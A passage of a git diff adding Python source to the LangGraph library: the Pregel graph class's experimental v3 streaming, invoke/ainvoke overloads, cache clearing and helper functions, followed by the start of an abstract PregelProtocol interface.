+                        f"Recursion limit of {config['recursion_limit']} reached "
+                        "without hitting a stop condition. You can increase the "
+                        "limit by setting the `recursion_limit` config key."
+                    ),
+                    error_code=ErrorCode.GRAPH_RECURSION_LIMIT,
+                )
+                raise GraphRecursionError(msg)
+            elif loop.status == "draining":
+                if loop.control is None:
+                    raise RuntimeError("Draining status requires run control")
+                raise GraphDrained(loop.control.drain_reason or "shutdown")
+            # set final channel values as run output
+            await run_manager.on_chain_end(loop.output)
+        except BaseException as e:
+            if run_manager is not None:
+                await asyncio.shield(run_manager.on_chain_error(e))
+            raise
+
+    @beta(message="The v3 streaming protocol on Pregel is experimental.")
+    def _pregel_stream_v3(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        control: RunControl | None = None,
+        transformers: Sequence[Callable[[tuple[str, ...]], Any]] | None = None,
+        **kwargs: Any,
+    ) -> Any:
+        """Internal v3 sync streaming implementation. Public entry: stream_events(version='v3').
+
+        Extra keyword arguments are forwarded to the underlying ``stream(...)``
+        call. The dispatcher in ``stream_events`` rejects ``stream_mode`` and
+        ``subgraphs`` since v3 owns them (``stream_mode`` is derived from the
+        transformer mux; ``subgraphs`` is always True so nested namespaces
+        flow through scoped muxes).
+
+        !!! warning
+
+            The v3 streaming protocol is experimental and may change.
+        """
+        parent_ns = _resolve_parent_ns(self.config, config)
+        compiled_factories = _normalize_stream_transformer_factories(
+            self.stream_transformers
+        )
+        extra_factories = _normalize_stream_transformer_factories(transformers)
+        mux = StreamMux(
+            factories=[
+                ValuesTransformer,
+                MessagesTransformer,
+                LifecycleTransformer,
+                SubgraphTransformer,
+                *compiled_factories,
+                *extra_factories,
+            ],
+            scope=parent_ns,
+            is_async=False,
+        )
+        graph_iter = iter(
+            self.stream(
+                input,
+                patch_configurable(config, {CONFIG_KEY_STREAM_MESSAGES_V2: True}),
+                stream_mode=_collect_stream_modes(mux),
+                subgraphs=True,
+                version="v2",
+                interrupt_before=interrupt_before,
+                interrupt_after=interrupt_after,
+                control=control,
+                **kwargs,
+            )
+        )
+        return GraphRunStream(graph_iter, mux)
+
+    @beta(message="The v3 streaming protocol on Pregel is experimental.")
+    async def _apregel_stream_v3(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        control: RunControl | None = None,
+        transformers: Sequence[Callable[[tuple[str, ...]], Any]] | None = None,
+        **kwargs: Any,
+    ) -> Any:
+        """Internal v3 async streaming implementation. Public entry: astream_events(version='v3').
+
+        Extra keyword arguments are forwarded to the underlying ``astream(...)``
+        call. The dispatcher in ``astream_events`` rejects ``stream_mode`` and
+        ``subgraphs`` since v3 owns them (``stream_mode`` is derived from the
+        transformer mux; ``subgraphs`` is always True so nested namespaces
+        flow through scoped muxes).
+
+        !!! warning
+
+            The v3 streaming protocol is experimental and may change.
+        """
+        parent_ns = _resolve_parent_ns(self.config, config)
+        compiled_factories = _normalize_stream_transformer_factories(
+            self.stream_transformers
+        )
+        extra_factories = _normalize_stream_transformer_factories(transformers)
+        mux = StreamMux(
+            factories=[
+                ValuesTransformer,
+                MessagesTransformer,
+                LifecycleTransformer,
+                SubgraphTransformer,
+                *compiled_factories,
+                *extra_factories,
+            ],
+            scope=parent_ns,
+            is_async=True,
+        )
+        graph_aiter = self.astream(
+            input,
+            patch_configurable(config, {CONFIG_KEY_STREAM_MESSAGES_V2: True}),
+            stream_mode=_collect_stream_modes(mux),
+            subgraphs=True,
+            version="v2",
+            interrupt_before=interrupt_before,
+            interrupt_after=interrupt_after,
+            control=control,
+            **kwargs,
+        ).__aiter__()
+        return AsyncGraphRunStream(graph_aiter, mux)
+
+    @overload
+    def stream_events(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        version: Literal["v1", "v2"] = "v2",
+        **kwargs: Any,
+    ) -> Iterator[StreamEvent]: ...
+
+    @overload
+    def stream_events(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        version: Literal["v3"],
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        control: RunControl | None = None,
+        transformers: Sequence[Callable[[tuple[str, ...]], Any]] | None = None,
+        **kwargs: Any,
+    ) -> Any: ...
+
+    def stream_events(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        version: Literal["v1", "v2", "v3"] = "v2",
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        control: RunControl | None = None,
+        transformers: Sequence[Callable[[tuple[str, ...]], Any]] | None = None,
+        **kwargs: Any,
+    ) -> Any:
+        """Stream events from this graph.
+
+        For `version="v1"` / `"v2"`, yields `StreamEvent` dicts (see
+        `Runnable.stream_events`). For `version="v3"`, returns a
+        `GraphRunStream` whose typed projections the caller drives by
+        iterating — no background thread.
+
+        !!! warning
+
+            The `version="v3"` API is experimental and may change.
+
+        Builds a `StreamMux` from the built-in transformers, this
+        graph's compile-time `stream_transformers`, and any additional
+        `transformers=` supplied at the call site. `run.output`,
+        `run.interrupted`, and `run.interrupts` work regardless of
+        which transformers are registered.
+
+        Note:
+            Nesting v1 `stream(stream_mode="messages")` inside a node
+            of a `stream_events(version="v3")` run is not fully
+            supported. The outer v3 messages handler reroutes
+            `BaseChatModel.invoke` through the v2 event protocol, so
+            the inner v1 handler does not see `on_llm_new_token`
+            chunks. The inner stream still yields a finalized message
+            via `on_llm_end`. Use `stream_events(version="v3")` for the
+            inner graph as well, or call `chat_model.stream(...)`
+            explicitly, to get token-level streaming.
+
+        Args:
+            input: Graph input.
+            config: Optional runnable config.
+            version: Streaming-event schema version. `"v3"` selects the
+                content-block-centric streaming protocol.
+            interrupt_before: Nodes to interrupt before, if any. Only
+                used for `version="v3"`.
+            interrupt_after: Nodes to interrupt after, if any. Only
+                used for `version="v3"`.
+            control: Optional run control used to request cooperative
+                drain. Only used for `version="v3"`.
+            transformers: Extra transformer classes or configured
+                factories appended after compile-time
+                `stream_transformers`. Factories are called as
+                `factory(scope)` so they can propagate to subgraph
+                scopes. Only used for `version="v3"`.
+            **kwargs: For `version="v1"`/`"v2"`, forwarded to
+                `Runnable.stream_events`. For `version="v3"`, forwarded
+                to the underlying `stream(...)` call (e.g. `context`,
+                `durability`, `output_keys`, `print_mode`, `debug`).
+                `stream_mode` and `subgraphs` are not accepted under
+                `version="v3"` and raise `TypeError` if supplied; v3
+                owns them.
+
+        Returns:
+            For `version="v3"`, a `GraphRunStream` the caller iterates
+            to drive the run. Otherwise an `Iterator[StreamEvent]`.
+        """
+        if version == "v3":
+            _reject_v3_invariant_kwargs(kwargs)
+            return self._pregel_stream_v3(
+                input,
+                config,
+                interrupt_before=interrupt_before,
+                interrupt_after=interrupt_after,
+                control=control,
+                transformers=transformers,
+                **kwargs,
+            )
+        return super().stream_events(input, config, version=version, **kwargs)
+
+    @overload
+    def astream_events(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        version: Literal["v1", "v2"] = "v2",
+        **kwargs: Any,
+    ) -> AsyncIterator[StreamEvent]: ...
+
+    @overload
+    def astream_events(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        version: Literal["v3"],
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        control: RunControl | None = None,
+        transformers: Sequence[Callable[[tuple[str, ...]], Any]] | None = None,
+        **kwargs: Any,
+    ) -> Awaitable[Any]: ...
+
+    def astream_events(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        version: Literal["v1", "v2", "v3"] = "v2",
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        control: RunControl | None = None,
+        transformers: Sequence[Callable[[tuple[str, ...]], Any]] | None = None,
+        **kwargs: Any,
+    ) -> AsyncIterator[StreamEvent] | Awaitable[Any]:
+        """Async variant of `stream_events`.
+
+        For `version="v3"`, returns an `AsyncGraphRunStream` whose
+        projections can be awaited concurrently; each subscribed cursor
+        drives the pump when its buffer is empty. The same nesting
+        limitation as the sync path applies — see `stream_events` for
+        details.
+
+        !!! warning
+
+            The `version="v3"` API is experimental and may change.
+
+        See `stream_events` for full argument and return documentation.
+        """
+        if version == "v3":
+            _reject_v3_invariant_kwargs(kwargs)
+            return self._apregel_stream_v3(
+                input,
+                config,
+                interrupt_before=interrupt_before,
+                interrupt_after=interrupt_after,
+                control=control,
+                transformers=transformers,
+                **kwargs,
+            )
+        return super().astream_events(input, config, version=version, **kwargs)
+
+    @overload
+    def invoke(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        stream_mode: Literal["values"] = ...,
+        print_mode: StreamMode | Sequence[StreamMode] = (),
+        output_keys: str | Sequence[str] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        durability: Durability | None = None,
+        control: RunControl | None = None,
+        version: Literal["v2"],
+        **kwargs: Any,
+    ) -> GraphOutput[OutputT]: ...
+
+    @overload
+    def invoke(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        stream_mode: StreamMode,
+        print_mode: StreamMode | Sequence[StreamMode] = (),
+        output_keys: str | Sequence[str] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        durability: Durability | None = None,
+        control: RunControl | None = None,
+        version: Literal["v2"],
+        **kwargs: Any,
+    ) -> list[StreamPart[StateT, OutputT]]: ...
+
+    @overload
+    def invoke(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        stream_mode: StreamMode = "values",
+        print_mode: StreamMode | Sequence[StreamMode] = (),
+        output_keys: str | Sequence[str] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        durability: Durability | None = None,
+        control: RunControl | None = None,
+        version: Literal["v1"] = ...,
+        **kwargs: Any,
+    ) -> dict[str, Any] | Any: ...
+
+    def invoke(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        stream_mode: StreamMode = "values",
+        print_mode: StreamMode | Sequence[StreamMode] = (),
+        output_keys: str | Sequence[str] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        durability: Durability | None = None,
+        control: RunControl | None = None,
+        version: Literal["v1", "v2"] = "v1",
+        **kwargs: Any,
+    ) -> dict[str, Any] | Any:
+        """Run the graph with a single input and config.
+
+        Args:
+            input: The input data for the graph. It can be a dictionary or any other type.
+            config: The configuration for the graph run.
+            context: The static context to use for the run.
+                !!! version-added "Added in version 0.6.0"
+            stream_mode: The stream mode for the graph run.
+            print_mode: Accepts the same values as `stream_mode`, but only prints the output to the console, for debugging purposes.
+
+                Does not affect the output of the graph in any way.
+            output_keys: The output keys to retrieve from the graph run.
+            interrupt_before: The nodes to interrupt the graph run before.
+            interrupt_after: The nodes to interrupt the graph run after.
+            durability: The durability mode for the graph execution, defaults to `"async"`.
+
+                Options are:
+
+                - `"sync"`: Changes are persisted synchronously before the next step starts.
+                - `"async"`: Changes are persisted asynchronously while the next step executes.
+                - `"exit"`: Changes are persisted only when the graph exits.
+            control: Optional run control used to request cooperative drain.
+            version: The streaming format version. `"v1"` (default) returns the
+                traditional format, `"v2"` returns `StreamPart` typed dicts when
+                `stream_mode` is not `"values"`.
+            **kwargs: Additional keyword arguments to pass to the graph run.
+
+        Returns:
+            The output of the graph run. If `stream_mode` is `"values"`, it returns the latest output.
+            If `stream_mode` is not `"values"`, it returns a list of output chunks.
+        """
+        output_keys = output_keys if output_keys is not None else self.output_channels
+
+        latest: dict[str, Any] | Any = None
+        chunks: list[dict[str, Any] | Any] = []
+        interrupts: list[Interrupt] = []
+
+        if version == "v2":
+            # v2: values stream parts carry interrupts directly
+            for chunk in self.stream(
+                input,
+                config,
+                context=context,
+                stream_mode="values" if stream_mode == "values" else stream_mode,
+                print_mode=print_mode,
+                output_keys=output_keys,
+                interrupt_before=interrupt_before,
+                interrupt_after=interrupt_after,
+                durability=durability,
+                control=control,
+                version=version,
+                **kwargs,
+            ):
+                if stream_mode == "values":
+                    latest = chunk["data"]
+                    if chunk_ints := chunk.get("interrupts", ()):
+                        interrupts.extend(chunk_ints)  # type: ignore[arg-type]
+                else:
+                    chunks.append(chunk)
+        else:
+            # v1: collect interrupts from updates stream
+            for chunk in self.stream(
+                input,
+                config,
+                context=context,
+                stream_mode=(
+                    ["updates", "values"] if stream_mode == "values" else stream_mode
+                ),
+                print_mode=print_mode,
+                output_keys=output_keys,
+                interrupt_before=interrupt_before,
+                interrupt_after=interrupt_after,
+                durability=durability,
+                control=control,
+                **kwargs,
+            ):
+                if stream_mode == "values":
+                    if len(chunk) == 2:
+                        mode, payload = cast(tuple[StreamMode, Any], chunk)
+                    else:
+                        _, mode, payload = cast(
+                            tuple[tuple[str, ...], StreamMode, Any], chunk
+                        )
+                    if (
+                        mode == "updates"
+                        and isinstance(payload, dict)
+                        and (ints := payload.get(INTERRUPT)) is not None
+                    ):
+                        interrupts.extend(ints)
+                    elif mode == "values":
+                        latest = payload
+                else:
+                    chunks.append(chunk)
+
+        if stream_mode == "values":
+            if version == "v2":
+                return GraphOutput(value=latest, interrupts=tuple(interrupts))
+            if interrupts:
+                return (
+                    {**latest, INTERRUPT: interrupts}
+                    if isinstance(latest, dict)
+                    else {INTERRUPT: interrupts}
+                )
+            return latest
+        else:
+            return chunks
+
+    @overload
+    async def ainvoke(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        stream_mode: Literal["values"] = ...,
+        print_mode: StreamMode | Sequence[StreamMode] = (),
+        output_keys: str | Sequence[str] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        durability: Durability | None = None,
+        control: RunControl | None = None,
+        version: Literal["v2"],
+        **kwargs: Any,
+    ) -> GraphOutput[OutputT]: ...
+
+    @overload
+    async def ainvoke(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        stream_mode: StreamMode,
+        print_mode: StreamMode | Sequence[StreamMode] = (),
+        output_keys: str | Sequence[str] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        durability: Durability | None = None,
+        control: RunControl | None = None,
+        version: Literal["v2"],
+        **kwargs: Any,
+    ) -> list[StreamPart[StateT, OutputT]]: ...
+
+    @overload
+    async def ainvoke(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        stream_mode: StreamMode = "values",
+        print_mode: StreamMode | Sequence[StreamMode] = (),
+        output_keys: str | Sequence[str] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        durability: Durability | None = None,
+        control: RunControl | None = None,
+        version: Literal["v1"] = ...,
+        **kwargs: Any,
+    ) -> dict[str, Any] | Any: ...
+
+    async def ainvoke(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        stream_mode: StreamMode = "values",
+        print_mode: StreamMode | Sequence[StreamMode] = (),
+        output_keys: str | Sequence[str] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        durability: Durability | None = None,
+        control: RunControl | None = None,
+        version: Literal["v1", "v2"] = "v1",
+        **kwargs: Any,
+    ) -> dict[str, Any] | Any:
+        """Asynchronously run the graph with a single input and config.
+
+        Args:
+            input: The input data for the graph. It can be a dictionary or any other type.
+            config: The configuration for the graph run.
+            context: The static context to use for the run.
+                !!! version-added "Added in version 0.6.0"
+            stream_mode: The stream mode for the graph run.
+            print_mode: Accepts the same values as `stream_mode`, but only prints the output to the console, for debugging purposes.
+
+                Does not affect the output of the graph in any way.
+            output_keys: The output keys to retrieve from the graph run.
+            interrupt_before: The nodes to interrupt the graph run before.
+            interrupt_after: The nodes to interrupt the graph run after.
+            durability: The durability mode for the graph execution, defaults to `"async"`.
+
+                Options are:
+
+                - `"sync"`: Changes are persisted synchronously before the next step starts.
+                - `"async"`: Changes are persisted asynchronously while the next step executes.
+                - `"exit"`: Changes are persisted only when the graph exits.
+            control: Optional run control used to request cooperative drain.
+            version: The streaming format version. `"v1"` (default) returns the
+                traditional format, `"v2"` returns `StreamPart` typed dicts when
+                `stream_mode` is not `"values"`.
+            **kwargs: Additional keyword arguments to pass to the graph run.
+
+        Returns:
+            The output of the graph run. If `stream_mode` is `"values"`, it returns the latest output.
+            If `stream_mode` is not `"values"`, it returns a list of output chunks.
+        """
+        output_keys = output_keys if output_keys is not None else self.output_channels
+
+        latest: dict[str, Any] | Any = None
+        chunks: list[dict[str, Any] | Any] = []
+        interrupts: list[Interrupt] = []
+
+        if version == "v2":
+            # v2: values stream parts carry interrupts directly
+            async for chunk in self.astream(
+                input,
+                config,
+                context=context,
+                stream_mode="values" if stream_mode == "values" else stream_mode,
+                print_mode=print_mode,
+                output_keys=output_keys,
+                interrupt_before=interrupt_before,
+                interrupt_after=interrupt_after,
+                durability=durability,
+                control=control,
+                version=version,
+                **kwargs,
+            ):
+                if stream_mode == "values":
+                    latest = chunk["data"]
+                    if chunk_ints := chunk.get("interrupts", ()):
+                        interrupts.extend(chunk_ints)  # type: ignore[arg-type]
+                else:
+                    chunks.append(chunk)
+        else:
+            # v1: collect interrupts from updates stream
+            async for chunk in self.astream(
+                input,
+                config,
+                context=context,
+                stream_mode=(
+                    ["updates", "values"] if stream_mode == "values" else stream_mode
+                ),
+                print_mode=print_mode,
+                output_keys=output_keys,
+                interrupt_before=interrupt_before,
+                interrupt_after=interrupt_after,
+                durability=durability,
+                control=control,
+                **kwargs,
+            ):
+                if stream_mode == "values":
+                    if len(chunk) == 2:
+                        mode, payload = cast(tuple[StreamMode, Any], chunk)
+                    else:
+                        _, mode, payload = cast(
+                            tuple[tuple[str, ...], StreamMode, Any], chunk
+                        )
+                    if (
+                        mode == "updates"
+                        and isinstance(payload, dict)
+                        and (ints := payload.get(INTERRUPT)) is not None
+                    ):
+                        interrupts.extend(ints)
+                    elif mode == "values":
+                        latest = payload
+                else:
+                    chunks.append(chunk)
+
+        if stream_mode == "values":
+            if version == "v2":
+                return GraphOutput(value=latest, interrupts=tuple(interrupts))
+            if interrupts:
+                return (
+                    {**latest, INTERRUPT: interrupts}
+                    if isinstance(latest, dict)
+                    else {INTERRUPT: interrupts}
+                )
+            return latest
+        else:
+            return chunks
+
+    def clear_cache(self, nodes: Sequence[str] | None = None) -> None:
+        """Clear the cache for the given nodes."""
+        if not self.cache:
+            raise ValueError("No cache is set for this graph. Cannot clear cache.")
+        nodes = nodes or self.nodes.keys()
+        # collect namespaces to clear
+        namespaces: list[tuple[str, ...]] = []
+        for node in nodes:
+            if node in self.nodes:
+                namespaces.append(
+                    (
+                        CACHE_NS_WRITES,
+                        (identifier(self.nodes[node]) or "__dynamic__"),
+                        node,
+                    ),
+                )
+        # clear cache
+        self.cache.clear(namespaces)
+
+    async def aclear_cache(self, nodes: Sequence[str] | None = None) -> None:
+        """Asynchronously clear the cache for the given nodes."""
+        if not self.cache:
+            raise ValueError("No cache is set for this graph. Cannot clear cache.")
+        nodes = nodes or self.nodes.keys()
+        # collect namespaces to clear
+        namespaces: list[tuple[str, ...]] = []
+        for node in nodes:
+            if node in self.nodes:
+                namespaces.append(
+                    (
+                        CACHE_NS_WRITES,
+                        (identifier(self.nodes[node]) or "__dynamic__"),
+                        node,
+                    ),
+                )
+        # clear cache
+        await self.cache.aclear(namespaces)
+
+
+def _trigger_to_nodes(nodes: dict[str, PregelNode]) -> Mapping[str, Sequence[str]]:
+    """Index from a trigger to nodes that depend on it."""
+    trigger_to_nodes: defaultdict[str, list[str]] = defaultdict(list)
+    for name, node in nodes.items():
+        for trigger in node.triggers:
+            trigger_to_nodes[trigger].append(name)
+    return dict(trigger_to_nodes)
+
+
+def _output(
+    stream_mode: StreamMode | Sequence[StreamMode],
+    print_mode: StreamMode | Sequence[StreamMode],
+    stream_subgraphs: bool,
+    getter: Callable[[], tuple[tuple[str, ...], str, Any]],
+    empty_exc: type[Exception],
+    version: Literal["v1", "v2"] = "v1",
+    output_mapper: Callable[[Any], Any] | None = None,
+    state_mapper: Callable[[Any], Any] | None = None,
+) -> Iterator:
+    while True:
+        try:
+            ns, mode, payload = getter()
+        except empty_exc:
+            break
+        if mode in print_mode:
+            if stream_subgraphs and ns:
+                print(
+                    " ".join(
+                        (
+                            get_bolded_text(f"[{mode}]"),
+                            get_colored_text(f"[graph={ns}]", color="yellow"),
+                            repr(payload),
+                        )
+                    )
+                )
+            else:
+                print(
+                    " ".join(
+                        (
+                            get_bolded_text(f"[{mode}]"),
+                            repr(payload),
+                        )
+                    )
+                )
+        if mode in stream_mode:
+            if version == "v2":
+                if mode == "values":
+                    # pop __interrupt__ into typed field, coerce data
+                    ints: tuple[Interrupt, ...] = ()
+                    if isinstance(payload, dict):
+                        ints = payload.pop(INTERRUPT, ())
+                        if output_mapper:
+                            payload = output_mapper(payload)
+                    yield {"type": mode, "ns": ns, "data": payload, "interrupts": ints}
+                elif mode in ("checkpoints", "debug"):
+                    # coerce state values in checkpoint/debug payloads
+                    if state_mapper:
+                        _coerce_checkpoint_values(payload, state_mapper)
+                    yield {"type": mode, "ns": ns, "data": payload}
+                else:
+                    yield {"type": mode, "ns": ns, "data": payload}
+            elif stream_subgraphs and isinstance(stream_mode, list):
+                yield (ns, mode, payload)
+            elif isinstance(stream_mode, list):
+                yield (mode, payload)
+            elif stream_subgraphs:
+                yield (ns, payload)
+            else:
+                yield payload
+
+
+def _coerce_checkpoint_values(payload: Any, mapper: Callable[[Any], Any]) -> None:
+    """Coerce `values` dicts inside checkpoint or debug payloads in-place.
+
+    Skips the initial checkpoint (where next contains ``__start__``) because
+    not all channels are populated yet and coercion would fail.
+    """
+    _START = "__start__"
+    # debug wrapper: {"type": "checkpoint", "payload": {"values": dict, ...}}
+    if (
+        isinstance(payload, dict)
+        and payload.get("type") == "checkpoint"
+        and isinstance(payload.get("payload"), dict)
+        and isinstance(payload["payload"].get("values"), dict)
+        and _START not in payload["payload"].get("next", ())
+    ):
+        payload["payload"]["values"] = mapper(payload["payload"]["values"])
+    # direct checkpoint payload: {"values": dict, ...}
+    elif (
+        isinstance(payload, dict)
+        and isinstance(payload.get("values"), dict)
+        and _START not in payload.get("next", ())
+    ):
+        payload["values"] = mapper(payload["values"])
+
+
+def _resolve_parent_ns(
+    graph_config: RunnableConfig | None, call_config: RunnableConfig | None
+) -> tuple[str, ...]:
+    """Return the checkpoint namespace the caller is running under.
+
+    `stream_events(version="v3")` uses this to scope its native projections
+    (`ValuesTransformer`, `MessagesTransformer`) to events emitted at
+    the run's own level. A root call resolves to `()`; a call made
+    from inside a node carries the outer graph's task namespace so the
+    projection still matches its own root-level events.
+    """
+    merged = ensure_config(graph_config, call_config)
+    ns = merged.get(CONF, {}).get(CONFIG_KEY_CHECKPOINT_NS)
+    if not ns:
+        return ()
+    return tuple(ns.split(NS_SEP))
+
+
+def _coerce_parent_runtime(value: Any) -> Runtime[Any]:
+    """Normalize the value stored under `CONFIG_KEY_RUNTIME` into a `Runtime`.
+
+    During a graph run this is always a `Runtime` the framework created and
+    published for child tasks to inherit. Layers outside the run (for example a
+    server's graph-factory path) may instead seed an object that only carries
+    `context`/`store`. Adopt its `context` so context set at the graph level
+    plumbs through (`merge` lets the run's own `context` take precedence when
+    one is provided). `store` is resolved separately (passed to the graph
+    directly), so it is not read off here. `merge` then combines this with the
+    run's own runtime, including the framework's `control`.
+    """
+    if isinstance(value, Runtime):
+        return value
+    return Runtime(context=getattr(value, "context", None))
+
+
+def _build_server_info(
+    config: RunnableConfig, parent_runtime: Runtime[Any]
+) -> ServerInfo | None:
+    """Build ServerInfo from config configurable.
+
+    The server puts assistant_id/graph_id in config configurable and the
+    authenticated user dict in configurable["langgraph_auth_user"].
+    """
+    configurable = config.get(CONF) or {}
+    assistant_id = configurable.get("assistant_id")
+    graph_id = configurable.get("graph_id")
+
+    # Read authenticated user from configurable (set by LangGraph Server).
+    # We prefer isinstance(BaseUser) but fall back to hasattr("identity")
+    # because the server's ProxyUser provides `permissions` via __getattr__,
+    # which Python's runtime_checkable Protocol check doesn't see.
+    auth_user_data = configurable.get("langgraph_auth_user")
+    user: BaseUser | None = None
+    if auth_user_data is not None:
+        if isinstance(auth_user_data, BaseUser) or hasattr(auth_user_data, "identity"):
+            user = cast(BaseUser, auth_user_data)
+
+    if assistant_id is not None or graph_id is not None or user is not None:
+        return ServerInfo(
+            assistant_id=str(assistant_id) if assistant_id else "",
+            graph_id=str(graph_id) if graph_id else "",
+            user=user,
+        )
+    return None
+
+
+def _coerce_context(
+    context_schema: type[ContextT] | None, context: Any
+) -> ContextT | None:
+    """Coerce context input to the appropriate schema type.
+
+    If context is a dict and context_schema is a dataclass or pydantic model, we coerce.
+    Else, we return the context as-is.
+
+    Args:
+        context_schema: The schema type to coerce to (BaseModel, dataclass, or TypedDict)
+        context: The context value to coerce
+
+    Returns:
+        The coerced context value or None if context is None
+    """
+    if context is None:
+        return None
+
+    if context_schema is None:
+        return context
+
+    schema_is_class = issubclass(context_schema, BaseModel) or is_dataclass(
+        context_schema
+    )
+    if isinstance(context, dict) and schema_is_class:
+        return context_schema(**context)  # type: ignore[misc]
+
+    return cast(ContextT, context)
diff --git a/libs/langgraph/langgraph/pregel/protocol.py b/libs/langgraph/langgraph/pregel/protocol.py
new file mode 100644
index 0000000..259554d
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/protocol.py
@@ -0,0 +1,288 @@
+from __future__ import annotations
+
+from abc import abstractmethod
+from collections.abc import AsyncIterator, Callable, Iterator, Sequence
+from typing import Any, Generic, Literal, cast, overload
+
+from langchain_core.runnables import Runnable, RunnableConfig
+from langchain_core.runnables.graph import Graph as DrawableGraph
+from typing_extensions import Self
+
+from langgraph.types import (
+    All,
+    Command,
+    GraphOutput,
+    StateSnapshot,
+    StateUpdate,
+    StreamMode,
+    StreamPart,
+)
+from langgraph.typing import ContextT, InputT, OutputT, StateT
+
+__all__ = ("PregelProtocol", "StreamProtocol")
+
+
+class PregelProtocol(Runnable[InputT, Any], Generic[StateT, ContextT, InputT, OutputT]):
+    @abstractmethod
+    def with_config(
+        self, config: RunnableConfig | None = None, **kwargs: Any
+    ) -> Self: ...
+
+    @abstractmethod
+    def get_graph(
+        self,
+        config: RunnableConfig | None = None,
+        *,
+        xray: int | bool = False,
+    ) -> DrawableGraph: ...
+
+    @abstractmethod
+    async def aget_graph(
+        self,
+        config: RunnableConfig | None = None,
+        *,
+        xray: int | bool = False,
+    ) -> DrawableGraph: ...
+
+    @abstractmethod
+    def get_state(
+        self, config: RunnableConfig, *, subgraphs: bool = False
+    ) -> StateSnapshot: ...
+
+    @abstractmethod
+    async def aget_state(
+        self, config: RunnableConfig, *, subgraphs: bool = False
+    ) -> StateSnapshot: ...
+
+    @abstractmethod
+    def get_state_history(
+        self,
+        config: RunnableConfig,
+        *,
+        filter: dict[str, Any] | None = None,
+        before: RunnableConfig | None = None,
+        limit: int | None = None,
+    ) -> Iterator[StateSnapshot]: ...
+
+    @abstractmethod
+    def aget_state_history(
+        self,
+        config: RunnableConfig,
+        *,
+        filter: dict[str, Any] | None = None,
+        before: RunnableConfig | None = None,
+        limit: int | None = None,
+    ) -> AsyncIterator[StateSnapshot]: ...
+
+    @abstractmethod
+    def bulk_update_state(
+        self,
+        config: RunnableConfig,
+        updates: Sequence[Sequence[StateUpdate]],
+    ) -> RunnableConfig: ...
+
+    @abstractmethod
+    async def abulk_update_state(
+        self,
+        config: RunnableConfig,
+        updates: Sequence[Sequence[StateUpdate]],
+    ) -> RunnableConfig: ...
+
+    @abstractmethod
+    def update_state(
+        self,
+        config: RunnableConfig,
+        values: dict[str, Any] | Any | None,
+        as_node: str | None = None,
+    ) -> RunnableConfig: ...
+
+    @abstractmethod
+    async def aupdate_state(
+        self,
+        config: RunnableConfig,
+        values: dict[str, Any] | Any | None,
+        as_node: str | None = None,
+    ) -> RunnableConfig: ...
+
+    @overload
+    @abstractmethod
+    def stream(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        stream_mode: StreamMode | list[StreamMode] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        subgraphs: bool = False,
+        version: Literal["v2"],
+    ) -> Iterator[StreamPart[StateT, OutputT]]: ...
+
+    @overload
+    @abstractmethod
+    def stream(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        stream_mode: StreamMode | list[StreamMode] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        subgraphs: bool = False,
+        version: Literal["v1"] = ...,
+    ) -> Iterator[dict[str, Any] | Any]: ...
+
+    @abstractmethod
+    def stream(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
